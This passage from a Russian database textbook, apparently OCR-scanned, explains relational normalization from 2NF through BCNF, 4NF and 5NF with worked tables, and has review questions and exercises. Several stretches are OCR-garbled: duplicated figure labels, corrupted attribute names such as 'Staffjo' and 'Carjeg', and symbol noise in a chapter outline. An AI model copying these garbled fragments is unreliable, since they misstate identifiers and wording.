Нормализация 1НФ-отношений с образованием 2НФ-отношений включает устранение частичных зависимостей от первичного ключа. Если в данном отношении существуют частичные зависимости, то нужно удалить функционально зависимые атрибуты из этого отношения и поместить их в новое отношение, вместе с копией их детерминанта.
Функциональные зависимости (от fdl до fd6) отношения Property_Inspection с первичным ключом (Property_No, IDate) показаны на рис. 6.8. Эти зависимости можно представить в другом виде:.
fdl
Property_No, IDate -> ITime, Comments, Staff_No, SName, Car^Reg
Первичный ключ
fd2
Property_No -* PAddress
Частичная зависимость
fd3
Staff-No -* SName
Транзитивная зависи
мость
fd4
Staff_No, IDate -> Car_Reg
fd5
СаГ-Reg, IDate, ITime —> Property_No, PAddress, Comments, Staffjto, SName
Потенциальный ключ
fd6
Staff_No, IDate, ITime -> Property_No, PAddress, Comments
Потенциальный ключ
Property_NoIDateITimePAddressCommentsStaff.NoSNameCar_RegProperty_NoIDateITimePAddressCommentsStaff.NoSNameCar_Regfd1 I I ffd1 I I fм2 IА (ЗависимостьI1 от части ключа)м2 IА (ЗависимостьI1 от части ключа)А(ПервичныйJ ключ)А(ПервичныйJ ключ)Первичный ключ,
Property_No
IDate
ITime
PAddress
Comments
Staff.No
SName
Car_Reg
Property_No
IDate
ITime
PAddress
Comments
Staff.No
SName
Car_Reg
fd1 I I f
fd1 I I f
м2 IА (Зависимость
I1 от части ключа)
м2 IА (Зависимость
I1 от части ключа)
А(Первичный
J ключ)
А(Первичный
J ключ)
jjfd5f£fd5f£I (Потенциальны;J ключ)I (Потенциальны;J ключ)fd6fd6Рис. 6.8. Функциональные зависимости отношения Property_InspectionРис. 6.8. Функциональные зависимости отношения Property_InspectionI (Потенциальный J ключ)I (Потенциальный J ключ)
j
j
fd5f£
fd5f£
I (Потенциальны;
J ключ)
I (Потенциальны;
J ключ)
fd6
fd6
Рис. 6.8. Функциональные зависимости отношения Property_Inspection
Рис. 6.8. Функциональные зависимости отношения Property_Inspection
I (Потенциальный J ключ)
I (Потенциальный J ключ)
М3 I (Транзитивная
II зависимость)
fd4 [
После выявления функциональных зависимостей процесс нормализации может быть продолжен. Сначала следует найти имеющиеся частичные зависимости от первичного ключа и тем самым проверить, не находится ли это отношение во второй нормальной форме (2НФ). Сразу же можно заметить, что атрибут объекта недвижимости PAddress частично зависит от части первичного ключа, а именно от атрибута Property_No (эта зависимость обозначена как fd2). Тогда как атрибуты ITime, Comments, Staff_No, SName, Car_Reg полностью функционально зависят от всего первичного ключа в целом (атрибуты Property No и IDate) (эта зависимость обозначена как fdl). Обратите внимание на то, что, хотя для детерминанта функциональной зависимости Staff_No, IDate —^ Car_Reg (эта зависимость обозначена как fd4) достаточно использовать только атрибут IDate первичного ключа, на данном этапе нормализации эта зависимость еще не устраняется, поскольку указанный детерминант также включает другой атрибут, не входящий в состав первичного ключа, имеется в виду атрибут Staff_No, Иначе говоря, эта зависимость не полностью зависит от части первичного ключа, а потому не нарушает требований 2НФ.
Наличие частичной зависимости (Property_No —> PAddress) указывает на то, что отношение Property_Inspection не находится во второй нормальной форме. Для преобразования этого отношения во вторую нормальную форму потребуется создать новые отношения так, чтобы атрибуты, которые не полностью функционально зависят от первичного ключа, были связаны только с соответствующей частью ключа.
Отношение Property ^Inspection может быть преобразовано во вторую нормальную форму путем удаления частичной зависимости из этого отношения посредством создания двух новых отношений Prop и Prop_Inspection. Оба этих отношения находятся во второй нормальной форме, так как атрибуты, не входящие в первичный ключ, функционально зависят от первичного ключа этих отношений. Содержимое этих отношений представлено в табл. 6.22 и 6.23 соответственно, а описание имеет следующий вид:
Prop(Property No, Address)
Propjnspection (Property_No, IDate, ITime, Comments, Staffjo, SName, Carjeg)
Таблица 6.22. Отношение Prop
Propertyjo
PAddress
PG4
PG16
6 Lawrence St, Glasgow
5 Novar Dr, Glasgow
Таблица 6.23. Отношение Prop^Inspection
Propertyjo
IDate
ITime
Comments
Stuff Jo
SName
Car_Reg
PG4
18-Oct-96
10.00
Need to replace crockery
SG37
Ann Beech
M231 JGR
PG4
22-Apr-97
09.00
In good order
SG14
David Ford
№533 HDR
PG4
1-Oct-98
12.00
Damp rot in bathroom
SG14
David Ford
N721 HFR
PG16
22-Apr-96
13.00
Replace living room carpet
SG14
David Ford
M533 HDR
PG16
24-Oct-97
14.00
Good condition
SG37
Ann Beech
N721 HFR
Третья нормальная форма (ЗНФ)
Нормализация 2НФ-отношений с получением ЗНФ-отношений включает устранение транзитивных зависимостей. При наличии транзитивных зависимостей следует удалить транзитивно зависимые атрибуты из этого отношения и поместить их в новое отношение вместе с копией их детерминанта. В отношениях Prop и Prop inspection следует выявить и проанализировать имеющиеся функциональные : зависимости. Результаты этой работы показаны ниже.
Отношение Prop
fd2 Propertyjo -> PAddress
Отношение Propjnspection
fdl Propertyjo, IDate -> ITime, Comments, Staffjo, SName, Carjeg
fd3Staff Jo -> SName
fd4Staff Jo, IDate -> Carjeg
fd5* Carjeg, IDate, ITime -> Propertyjo, Comments, Staffjo, SName
fd6* Staffjo, IDate, ITime —> Propertyjo, Comments
Поскольку отношение Prop не содержит транзитивных зависимостей от первичного ключа, оно уже находится в третьей нормальной форме (ЗНФ). Однако, хотя все не входящие в первичный ключ атрибуты отношения Propjnspection функционально зависят от первичного ключа, атрибут SName также зависит от атрибута Staffjo (эта зависимость обозначена как fd3). Это пример транзитивной зависимости, которая
возникает в случае, если не входящий в первичный ключ атрибут зависит от другого атрибута, который тоже не входит в первичный ключ. Следует также отметить, что в случае функциональной зависимости Staff_No, IDate —> CarJReg (эта зависимость обозначена как fd4) не входящий в первичный ключ атрибут Car_Reg частично зависит от не входящего в первичный ключ атрибута Staff_No. На этой стадии нормализации мы не будем устранять эту зависимость, поскольку часть детерминанта этой зависимости содержит атрибут, входящий в первичный ключ IDate. Иначе говоря, эта зависимость не полностью транзитивно зависит от атрибутов, не входящих в первичный ключ, а потому она не нарушает требований ЗНФ. (Иначе говоря, как описано в разделе 6.8.1, при рассмотрении всех потенциальных ключей отношения наличие зависимости Staff_No, IDate -» Car_Reg в ЗНФ допускается, поскольку атрибут Car_Reg входит в первичный ключ, так как он является частью потенциального ключа (Car_Reg, IDate, ITime) исходного отношения Property_Inspection.)
Для преобразования отношения Property_Inspection в ЗНФ необходимо устранить транзитивную зависимость Staff-No —> SName. Транзитивная зависимость устраняется путем создания двух новых отношений Staff и Prop_Inspect:
Staff(Staff..No, SName)
Prop_Inspect (Property Nor IDate, ITime, Comments, Staff_No, Car_Reg)
Отношения Staff и Prop_Inspect находятся в третьей нормальной форме, поскольку ни один их атрибут, не входящий в первичный ключ, не зависит полностью от другого атрибута, не входящего в первичный ключ. Содержимое отношений Staff и Prop_Inspect представлено в табл. 6.24 и 6.25 соответственно.
Таблица 6.24. Отношение Staff
Stuff_NoSName
SG37Ann Beech
SG14David Ford
Таблица 6.25. Отношение Prop_Inspect
Property_No
IDate
ITime
Comments
Stuff _No
Car Reg
PG4
18-Oct-96
10.00
Need to replace crockery
SG37
M231 JGR
PG4
22-Apr-97
09.00
In good order
SG14
M533 HDR
PG4
1-Oct-98
12.00
Damp rot in bathroom
SG14
N721 HFR
PG16
22-Apr-96
13 00
Replace living room carpet
SG14
M533 HDR
PG16
24-Oct-97
14.00
Good condition
SG37
N721 HFR
Таким образом, представленное в табл. 6.21 исходное отношение PropertyInspection в процессе нормализации было преобразовано в три ЗНФ-отношения, имеющие следующий вид:
Prop(Property_No, PAddrеss)
Staff(Staff No, SName)
Prop-Inspect (Property No, IDate, ITime, Comments, Staff-No, Car_Reg)
Нормальная форма Бойса-Кодда (НфБК)
Теперь проанализируем отношения Prop, Staff и Prop-Inspect для выяснения их принадлежности к нормальной форме Бойса-Кодда. Напомним, что отношение находится в этой форме, если каждый детерминант отношения является потенци-
альным ключом. Следовательно, для проверки принадлежности к НФБК нужно просто выделить все детерминанты отношения и убедиться в том, что они являются потенциальными ключами..
Функциональные зависимости отношений Prop, Staff и Ргop_Iaspect показаны ниже.
Отношение Prop
fd2property_No —> PAddress
Отношение Staff
fd3Staff_No SName
Отношение Prop inspection
fdl*Property_No, IDate—> ITime, Comments, Staff_No, Car_Reg
fd4Staff^No, IDate ->Car_Reg'
fd5* Car_Reg, IDate, ITime —> Property_No, Comments, Staff_No
fd6* Staff^No, IDate, ITime -> Property_No, Comments
Можно заметить, что отношения Prop и Staff уже находятся в НФБК, поскольку детерминант каждого их этих отношений является потенциальным ключом. Единственным ЗНФ-отношением, которое не находится в НФБК является отношение Prop_Inspect, так как оно содержит детерминант (Staff_No, IDate), который не является потенциальным ключом (эта зависимость обозначена как fd4). Вследствие этого . отношение Prop_Inspect может страдать от аномалий обновления. Например, для изменения данных об автомобиле, заказанном для сотрудника с номером 'SG14' на 22 апреля 1996 года ('22-Арг-96'), потребуется выполнить соответствующее обновление значений сразу в двух строках. Но если номер автомобиля будет изменен только в одной строке, то это приведет базу данных в противоречивое состояние.’
Для преобразования отношения Prop_Inspect в НФБК необходимо устранить зависимость, которая нарушает требования НФБК, что достигается путем создания двух новых отношений Staff_Car и Inspection, содержимое которых представлено в табл. 6.26 и 6.27 соответственно. Новые отношения имеют следующий вид:
Staff_Car(Staff No, IDate, Car_Reg)
Inspection (Property No, IDate, ITime, Comments, Staff_No)
Таблица 6.26. Отношение Staff_Car
Stuff_No
IDate
CarReg
SG14
22-Apr-97
M533 HDR
SG14
1-Oct-98
N721 HER
SG37
18-Oct-96
M231 JGR
SG37
24-Oct-97
N721 HER
Таблица 6.27. Отношение Inspection
PropertyNo
IDate
ITime
Comments
Stuff_No
PG4
18-Oct-96
10.00
Need to replace crockery
SG37
PG4
22-Apr-97
09.00
In good order
SG14
PG4
1-Oct-98
12.00
Damp rot in bathroom
SG14
PG16
22-Apr-96
13.00
Replace living room carpet
SG14
PG16
24-Oct-97
14.00
Good condition
SG37
: Отношения Staff__Car и Inspection находятся в НФБК, поскольку детерминант каждого их этих отношений является потенциальным ключом.
В итоге декомпозиция показанного в табл. 6.21 исходного отношения Ргор- erty_Inspection (вплоть до НФБК-отношений) будет иметь схематический вид, по- ( казанный на рис. 6.9. В результате выполнения всех этапов нормализации, декомпозиция исходного отношения Property_Inspection с образованием НФБК- : отношений приводит к утрате функциональной зависимости Car_Reg, IDate, ITime
-> Propertyjio, Comments, Staff_No (эта зависимость обозначена как fd5*). Однако следует признать, что если не устранить функциональную зависимость Staff_No, IDate —> Car_Reg (эта зависимость обозначена как fd4), то отношение . Prop_Inspection будет характеризоваться некоторой избыточностью данных.
1НФ1НФОтношение Property_lnspection
1НФ
1НФ
ОтношениеОтношениеОтношениеStaff Staff_CarInspectionОтношениеОтношениеОтношениеStaff Staff_CarInspectionОтношениеPropОтношениеProp2НФ2НФЗНФЗНФНФБКНФБК
ОтношениеОтношениеОтношение
Staff Staff_CarInspection
ОтношениеОтношениеОтношение
Staff Staff_CarInspection
ОтношениеProp
ОтношениеProp
2НФ
2НФ
ЗНФ
ЗНФ
НФБК
НФБК
Рис. 6.9. Декомпозиция отношения Property Inspection на четыре НФБК отношения
Полученные в результате выполненной нормализации отношения будут иметь следующий вид:
Prop(Property,No, PAddress)
Staff(Staff No, SName)
Inspection (Property No, IDate, ITime, Comments, Staff No)
Staff Car(Staff No, IDate, Car Reg)
Отношение Property_Inspection, представленное в табл. 6.21, может быть восстановлено в исходном состоянии посредством соединения отношений Prop, Staff, Inspection и Staff_Car с помощью механизма первичных/внешних ключей. Например, атрибут Staff_No является первичным ключом отношения Staff, а в отношении Inspection он играет роль внешнего ключа. Наличие этого внешнего ключа позволяет связать отношения Staff и Inspection с целью определения имени сотрудника, выполняющего проверку состояния данного объекта недвижимости.
Четвертая нормальная форма (4НФ)
Как было сказано выше, НФБК позволяет устранить любые аномалии, вызванные функциональными зависимостями. Однако в ходе исследований был выявлен еще один тип зависимости — многозначная зависимость (multi-valued dependency — MVD), которая при проектировании отношений также может вызвать проблемы, связанные с избыточностью данных (Fagin, 1977). В этом разделе кратко описывается многозначная зависимость и ,связь этого типа зависимости с четвертой нормальной формой отношений (4НФ).
Многозначная зависимость
Возможность существования в отношении многозначных зависимостей возникает вследствие приведения исходных таблиц к 1НФ, для которой не допускается наличие некоторого набора значений на пересечении одной строки и одного столбца. Например, при наличии в отношении двух многозначных атрибутов для достижения непротиворечивого состояния строк необходимо повторить в них каждое значение одного из атрибутов в сочетании с каждым значением другого атрибута. Подобный тип ограничения порождает многозначную зависимость и приводит к избыточности данных. Рассмотрим представленное в табл. 6.28 отношение Branch_Staff Client, в котором содержатся имена сотрудников (SName) и клиентов (CName) определенного отделения компании (Branch^No).
Таблица 6.28. Отношение Branch_Staf f_Client
Branch_No
SName
CName
83
Ann Beech
Aline Stewart
83
David Ford
Aline Stewart
83
Ann Beech
Mike Richie
83
David Ford
Mike Richie
В этом примере в отделении компании с номером 'ВЗ' работают сотрудники с именами 'Ann Beach' и 'David Ford'. Кроме того, в нем зарегистрированы клиенты с именами 'Aline Stewart' и 'Mike Richie'. Однако, если в данном отделении компании между сотрудниками и клиентами нет никакой прямой связи, то необходимо создать строку для каждой комбинации сотрудника и клиента — только это позволит иметь гарантии, что отношение находится в непротиворечивом состоянии. Это требование отражает наличие в отношении Branch Staff_Client многозначной зависимости. Иначе говоря, в данном отношении существует многозначная зависимость, так как в нем содержится две независимые связи типа 1:М.
Многозначная
В случае многозначной зависимости, существующей между атри
зависимость
бутами А, В и С некоторого отношения, для каждого значения А имеется набор значений атрибута В и набор значений атрибута С. Однако входящие в эти наборы значения атрибутов В и С не зависят друг от друга.
Многозначная зависимость между атрибутами А, В и С некоторого отношения дальше будет обозначаться следующим образом:
А —> В
А —> С
Например, определим многозначную зависимость, имеющую место в отношении Branch_Staff_Client, представленном в табл. 6.28.
Branchjio -* SName
Branch__No -> CName
Многозначная зависимость может быть дополнительно определена как тривиальная или нетривиальная. Например, многозначная зависимость А -» В некоторого отношения R определяется как тривиальная, если атрибут В является подмножеством атрибута А или А и В = R.
И наоборот, многозначная зависимость определяется как нетривиальная, если ни одно, ни другое условие не выполняется. Тривиальная МЗЗ не накладывает никаких ограничений на данное отношение, а нетривиальная — накладывает.
Многозначная зависимость в представленном в табл. 6.28 отношении BranchStaff-Client является нетривиальной, так как в этом отношении ни одно, ни другое условие не удовлетворяется. Следовательно, на отношение Branch_Staff_Client по причине наличия нетривиальной МЗЗ накладывается ограничение, которое приводит к появлению повторяющихся строк, необходимых для того, чтобы гарантировать непротиворечивость связи между атрибутами SName и CName.
Хотя отношение Branch_Staff_Client находится в НФБК (поскольку есть только один потенциальный ключ), оно все еще остается плохо структурированным из-за избыточности данных, вызванной присутствием нетривиальной МЗЗ. Очевидно, что целесообразнее было бы определить более строгую форму НФБК, которая исключала бы создание таких реляционных структур, как отношение Branch-Staff_Client.
Определение четвертой нормальной формы
Четвертая Отношение в нормальной форме Бойса-Кодда, которое не содер- нормальная жит нетривиальных многозначных зависимостей.
форма (4НФ)
Четвертая нормальная форма (4НФ) является более строгой разновидностью нормальной формы Бойса-Кодда, поскольку в 4НФ-отношениях нет нетривиальных МЗЗ, а потому нет и избыточности данных. Нормализация НФБК-отношения с получением 4НФ-отношений заключается в устранении МЗЗ из НФБК-отношения посредством выделения в новое отношение одного или нескольких участвующих в МЗЗ атрибутов вместе с копией одного или нескольких детерминантов.
Например, представленное в табл. 6.28 отношение Branch_Staff_Client не находится в 4НФ, поскольку в нем присутствует нетривиальная МЗЗ. Это отношение следует декомпозировать на отношения Branch_Staff и Branch-Client, показанные в табл. 6.29 и 6.30 соответственно. Оба новых отношения находятся в 4НФ, потому что отношение Branch_Staff содержит тривиальную МЗЗ Branch__No -> SName, а отношение Branch_Client — тривиальную МЗЗ Branch-No —> CName. Обратите внимание на то, что эти 4НФ-отношения не характеризуются избыточностью данных.
Таблица 6.29. Отношение Branch Staf f в 4Нф
BranchNoSName
ВЗAnn Beech
ВЗDavid Ford
Таблица 6.30. Отношение Branch client в 4НФ
Branch_NoCName
ВЗAline Stewart
ВЗMike Richie
Пятая нормальная форма (5НФ)
При любой декомпозиции отношения на два других отношения полученные отношения обладают свойством соединения без потерь. Это значит, что полученные отношения можно снова соединить и получить прежнее отношение в исходном виде.
Однако бывают случаи, когда требуется декомпозировать отношение на более чем два отношения. В таких (достаточно редких) случаях возникает необходимость учитывать зависимость соединения, которая устраняется с помощью пятой нормальной формы (5НФ). В этом разделе мы кратко рассмотрим сущность зависимости соединения и ее связь с пятой нормальной формой (5НФ).
Зависимость соединения
Зависимость Свойство декомпозиции, которое вызывает генерацию ложных соединения строк при обратном соединении декомпозированных отношений с помощью операции естественного соединения.
При разбиении отношений с помощью операции проекции используемый метод декомпозиции определяется совершенно точно. В частности, следует позаботиться о том, чтобы при обратном соединении полученных отношений можно было восстановить исходное отношение. Такая декомпозиция называется декомпозицией с соединением без потерь (или беспроигрышным либо неаддитивным соединением), поскольку при ее выполнении сохраняются все данные исходного отношения, а также исключается создание дополнительных ложных строк. Например, представленные в табл. 6.29 и 6.30 отношения Branch_Staff и Branch_Client получены после декомпозиции с соединением без потерь отношения Branch_Staff_Client, представленного в табл. 6.28. Иначе говоря, исходное отношение Branch_Staff_Client может быть реконструировано путем выполнения операции естественного соединения для отношений Branch_Staff и Branch Client. В этом примере исходное отношение декомпозировано на два отношения, однако бывают случаи, когда требуется выполнить декомпозицию без потерь с образованием более чем двух отношений. Именно в таких случаях применимы понятия зависимости соединения и пятой нормальной формы (5НФ).
Определение пятой нормальной формы (5НФ)
Пятая нормальная Отношение без зависимостей соединения.
форма (5НФ)
Пятая нормальная форма (5НФ), которая также называется проективносоединительной нормальной формой, или ПСНФ (project-join normal form — PJNF), означает, что отношение в такой форме не имеет зависимостей соединения. Рассмотрим показанное в табл. 6.31 отношение Property_Item_Supplier, которое содержит сведения о поставщиках мебели (атрибут Supplier_No), описания мебели (атрибут Item_Description), а также информацию об объектах недвижимости (атрибут Ргор- erty_No), в которых она установлена.
Таблица 6.31. Отношение Property_Item_Supplier в четвертой нормальной форме
Property_No
ltem_Description
SupplierNo
PG4
Bed (Кровать)
81
PG4
Chair (Стул)
S2
PG16
Bed (Кровать)
82
PG16
Table (Стол)
81
PG36
Chair (Стул)
S3
Например, для объекта недвижимости с номером zPG4r поставщиком с номером 'S1' поставлена кровать ('Bed'), а поставщиком с номером 'S2' — стул ('Chair'). Единственное дополнительное ограничение в данном случае может заключаться в том, чтобы каждый поставщик поставлял только какие-то определенные типы мебели для заданного объекта недвижимости, вопреки тому, что некий поставщик может поставлять все типы мебели для этого объекта недвижимости. Такое ограничение создает в отношении Property_Item Supplier зависимость соединения. Однако структура этого отношения не соответствует этому ограничению, поскольку допускается добавление в нее любых строк, включая строки ('PG16', 'Bed', 'S1') и ('PG4', 'Bed', 'S2'). Эти строки означают, что поставщик с номером 'S1' поставил кровать для объекта недвижимости с номером 'PG16', а поставщик с номером 'S2' — кровать для объекта недвижимости с номером 'PG4'. Однако данное представление не является корректным отражением реальной ситуации.
Поскольку отношение Property Item_Supplier содержит зависимость соединения, значит, оно не находится в пятой нормальной форме. Для удаления этой зависимости соединения следует выполнить декомпозицию отношения Property_Item_Supplier на три 5НФ-отношения: Property_Item, Item_Supplier и Property_Supplier (табл. 6.32, 6.33 и 6.34 соответственно).
Таблица 6.32. 5НФ-отношение Property item
Property_No
ltem_Description
PG4
Bed
PG4
Chair
PG16
Bed
PG16
Table
PG36
Chair
Таблица 6.33. 5НФ-отношение Item_Supplier
ltem_Description
Supplier No
Bed
S1
Chair
S2
Bed
S2
Table
S1
Chair
S3
Таблица 6.34. 5Нф-отношение Property_Supplier
Property_No
SupplierNo
PG4
S1
PG4
S2
PG16
S2
PG16
S1
PG36
S3
Следует отметить, что естественное соединение любых двух из этих трех отношений приведет к появлению ложных строк, но естественное соединение этих трех отношений приведет к восстановлению отношения Property_Item_Supplier в исходном состоянии.
Резюме
Нормализация — это метод создания набора отношений с заданными свойствами на основе требований, предъявляемых к данным в организации,
Нормализация является формальным методом, который может быть использован для определения состава отношений на основе их ключей и существующих функциональных зависимостей между их атрибутами.'
Отношения с избыточностью данных могут страдать от аномалий обновления, которые делятся на аномалии вставки, удаления и обновления данных.
Одной из основных концепций нормализации является функциональная зависимость, которая описывает связь между атрибутами отношения. Пусть А и В — это атрибуты некоторого отношения R. Атрибут В функционально зависит от атрибута А (что обозначается как А—»В), если каждое значение А связано с одним значением В. (Причем каждый из атрибутов А и В может состоять из одного или нескольких атрибутов.)
Детерминантом называется любой атрибут, от которого полностью функционально зависит какой-то другой атрибут. В определении функциональной зависимости термин “детерминант” характеризует один или несколько атрибутов, расположенных с левой стороны от стрелки.
Процесс нормализации заключается в преобразовании отношения в различные нормальные формы. На каждом этапе этого процесса удаляются нежелательные характеристики отношения, которые определяют его уязвимость по отношению к аномалиям обновления. По мере продвижения к более высоким нормальным формам формат представления отношения становится более строгим, а оно само — менее уязвимым по отношению к аномалиям обновления. В схематическом виде процесс нормализации отношения (вплоть до 5НФ) показан на рис. 6.10.
Сначала были предложены только первая (1НФ), вторая (2НФ) и третья (ЗНФ) нормальные формы. Затем Байсом и Коддом было сформулировано более строгое определение третьей нормальной формы, которое получило название нормальной формы Бойса-Кодда (НФБК). Все эти нормальные формы предназначены для устранения различных видов нежелательных функциональных зависимостей между атрибутами отношения.
Ненормализованной формой (ННФ) называется таблица, которая содержит одну или несколько повторяющихся групп атрибутов.
Первой нормальной формой (1НФ) называется отношение, в котором на пересечении каждой строки и каждого столбца располагается одно и только одно значение.
Второй нормальной формой (2НФ) называется отношение, которое находится в первой нормальной форме, а каждый атрибут, не входящий в первичный ключ, полностью функционально зависит от этого первичного ключа. Полная функциональная зависимость для атрибутов А и В некоторого отношения означает следующее: атрибут В полностью функционально зависит от атрибута А, если атрибут В функционально зависит от атрибута А, но не зависит ни от какого подмножества атрибута А.
Третьей нормальной формой (ЗНФ) называется отношение, которое находится в первой и во второй нормальных формах, причем в нем нет атрибутов, не входящих в первичный ключ, которые транзитивно зависят от этого первичного ключа. Транзитивная зависимость для атрибутов А, В и С некоторого отношения означает следующее: если А->В и В—>С, то С транзитивно зависит от атрибута А через атрибут В (при условии, что А функционально не зависит от В или С).
Рис. 6.10. Схема процесса нормализации
Нормальной формой Бойса-Кодда (НФБК) называется отношение, в котором каждый детерминант является потенциальным ключом.
Четвертой нормальной формой (4НФ) называется отношение, которое находится в нормальной форме Бойса-Кодда и не содержит нетривиальных многозначных зависимостей. Многозначная зависимость представляет такую зависимость между атрибутами А, В и С некоторого отношения, при которой для каждого значения атрибута А существуют соответствующие наборы значений атрибутов В и С, причем оба этих набора не зависят друг от друга.
Пятой нормальной формой (5НФ) называется отношение, которое не содержит зависимостей соединения. Зависимость соединения — это такая ситуация при которой декомпозиция отношения может сопровождаться генерацией ложных строк при обратном соединении декомпозированных отношений посредством операции естественного соединения.
Вопросы
Поясните назначение процедуры нормализации данных.
Опишите проблемы, связанные с наличием избыточности данных.
Дайте определение концепции функциональной зависимости.
Как концепция функциональной зависимости связана с процессом нормализации?
Дайте определения первой (1НФ), второй (2НФ) и третьей (ЗНФ) нормальных форм, а также нормальной формы Бойса-Кодда (НФБК).
Поясните назначение четвертой (4НФ) и пятой (5НФ) нормальных форм.
Упражнения
В табл. 6.35 приведены данные о дантистах и назначениях на прием, которые они сделали своим пациентам. Пациент должен придти на прием к дантисту в указанный кабинет в заранее назначенный день и час. В каждый из дней приема дантист имеет право занимать некоторый кабинет.
Таблица 6.35. Сведения о дантистах, их пациентах и назначениях на прием
Staff.No
DentistName
PatNo
PatName
Appointment
SurgeryNo
Date
Time
S1011
Tony Smith
P100
Gillian White
12-Sep-98
10.00
S15
S1011
Топу Smith
P105
Jill Bell
12-Sep-98
12.00
S15
S1024
Helen Pearson
P108
Ian MacKay
12-Sep-98
10.00
S10
S1024
Helen Pearson
P108
Ian MacKay
14-Sep-98
14.00
S10
S1032
Robin Plevin
P105
Jill Bell
14-Sep-98
16.30
S15
S1032
Robin Plevin
P110
Jphn Walker
15-Sep-98
18.00
S13
Представленные в табл. 6.35 данные уязвимы по отношению к аномалиям обновления. Приведите примеры аномалий вставки, удаления и изменения данных.
Опишите и проиллюстрируйте процесс нормализации данных, представленных в табл. 6.35, вплоть до НФБК. Обоснуйте любые допущения, сделанные вами в отношении данных из этой таблицы.
Будут ли полученные в упр. 6.8 НФБК-отношения также находиться в четвертой (4НФ) и пятой (5НФ) нормальных формах?
Агентство Instant Cover занимается подбором сотрудников с временной или неполной занятостью для работы в отелях района Стратклайд. В табл. 6.36 приведены данные о продолжительности работы сотрудников агентства в разных отелях. Номер социального страхования (атрибут NIN) уникален для каждого сотрудника агентства.
Таблица 6.36. Данные о контрактах агентства Instant Cover
NIN
ContractNo
Hours
EName
H_No
H„Loc
1135
С1024
16
Smith J
H25
East Kilbride
1057
С1024
■24
Hocine D
H25
East Kilbride
1068
С1025
28
White Г
H4
Glasgow
1135
С1025
15
Smith J
H4
Glasgow
Представленные в табл. 6.36 данные уязвимы по отношению к аномалиям обновления. Приведите примеры аномалий вставки, удаления и изменения данных.
Опишите и проиллюстрируйте процесс нормализации данных, представленных в табл. 6.36, вплоть до НФБК. Обоснуйте любые допущения, сделанные вами в отношении данных этой таблицы.
Будут ли получерные в упр. 6.11 НФБК-отношения также находиться в четвертой (4НФ) и пятой (5НФ) нормальных формах?
ГЛАВАГЛАВА
ГЛАВА
ГЛАВА
Методология концептуального проектирования баз данных
В этой главе...
Назначение методологии проектирова
Три основных этапа проектирования базы данных: концепту- 5 . альное, логическое и физическое проектирование, у ;; >Ж t
Разбиение общей предметной области проекта на отданные г представления конкретных пользователей о функциониро- ^ ^ вании предприятия.-’^Г^ ? ' ;'йу-^"^
Использование моделей “сущность-связь” для создания локаль- у ' у<.уной концептуальной модели данных, построенной наинфор- мации, полученной из собственных представлений отдельных у пользователей о предметнойобласти приложения.
Проверка полученной концептуальной модели на адекват- ность предметной области предприятия и точность отра-- : женин в ней представлений отдельных пользователей:^ е \
Документирование п£^^ концептуальногопроектирова- ниВШзы^а^
Участие^сонечных пользователей и их общая рбл|®^6цес-S
сах концептуального проектирования базы данных.
В главе 4, “Планирование, проектирование и администрирование базы данных”, мы обсудили основные этапы жизненного цикла приложения базы данных. Одним из них является проектирование базы данных. Оно начинается по завершении процедуры анализа всех требований к проекту, выдвигаемых со стороны предприятия-заказчика.
В этой главе, а также в главах 8 и 9 мы обсудим методологию, предлагаемую для процедуры проектирования базы данных, входящей в общий жизненный цикл приложения, использующего базы данных реляционного типа. Предлагаемая методология представляет собой поэтапное руководство, охватывающее все три основные фазы процесса проектирования баз данных, а именно: концептуальное, логическое и физическое проектирование.
Концептуальное проектирование — создание концептуального представления базы данных, включающее определение типов важнейших сущностей и существующих между ними связей.
Логическое проектирование — преобразование концептуального представления в логическую структуру базы данных, включая проектирование отношений.
Физическое проектирование — принятие решения о том, как логическая модель будет физически реализована (с помощью таблиц) в базе данных, создаваемой с помощью выбранной СУБД.
В этой главе вашему вниманию предлагается общий обзор методологии проектирования баз данных, включающий краткое описание основных действий, выполняемых на каждом из упомянутых выше этапов. Мы сосредоточимся на детальном обсуждении методологии фазы концептуального проектирования, а также опишем каждый из этапов, выполняемых при создании концептуальной модели данных. При создании локальной концептуальной модели, отражающей представления отдельных пользователей о предметной области приложения (что и является конечной целью данной фазы разработки), мы будем использовать ER-технологию проектирования, обсуждавшуюся в главе 5, “Модель ’’сущность-связь"”.
В главе 8, “Методология логического проектирования реляционных баз данных”, речь пойдет о методологии фазы логического проектирования для реляционной модели данных. В этой главе детально описываются все этапы, необходимые для построения логической модели базы данных. Вначале рассматриваются способы преобразования отдельной локальной концептуальной модели данных в локальную логическую модель данных. Затем поясняется, как полученную логическую модель проверить с помощью процедур нормализации данных, описанных в главе 6, “Нормализация”. Далее обсуждаются методы проверки адекватности полученной логической модели в отношении транзакций, которые будут выполняться пользователями. В последней части этой главы обсуждаются способы слияния отдельных локальных логических моделей данных в единую глобальную логическую модель данных, обобщающую представление всех пользователей предприятия о предметной области приложения.
В главе 9, “Методология физического проектирования реляционных баз данных”, будет рассмотрена завершающая фаза процесса проектирования базы данных. Вашему вниманию будет предложено детальное описание всех этапов, необходимых для разработки физической структуры базы данных, создаваемой в среде реляционной СУБД. Представленный материал убедительно доказывает, что разработки только лишь логической модели данных совершенно недостаточно для получения гарантий действительной оптимальности выбранного способа реализации базы данных. В частности, мы приведем пример модификации выбранной логической структуры данных, необходимой для достижения приемлемого уровня производительности приложения.
В главах 10, 11 и 12 мы обсудим практическое выполнение концептуального, логического и физического проектирования базы данных на примере приложения DreamHome, описанного в разделе 1.7. В приложении Е приводится обобщенное формальное описание методологии разработки баз данных, предназначенное для тех читателей, которые уже хорошо знакомы с теорией и нуждаются лишь в общем обзоре основных этапов проектирования.
Во всех главах, в которых обсуждается данная методология, мы будем использовать (везде, где это допустимо по смыслу) термины “сущность” и “связь” вместо развернутых терминов “тип сущности” и “тип связи”. Слово “тип” будет применяться только с целью исключения возможной неоднозначности. Отметим также, что в этой главе, как и во многих других, для иллюстрации отдельных этапов проектирования будет использоваться материал приложения DreamHome. Эти примеры являются упрощенными и предназначены лишь для демонстрации отдельных аспектов обсуждаемого материала.
Введение в методологию проектирования баз данных
Прежде чем приступить к рассмотрению собственно методологии, полезно узнать, что она собой представляет, в частности то, как методология концептуального и логического проектирования базы данных соотносится с физическим проектированием.
Что такое методология проектирования
Методология Структурированный подход, предусматривающий использова- проектирования ние специализированных процедур, технических приемов, инструментов, документации и нацеленный на поддержку и упрощение процесса проектирования.
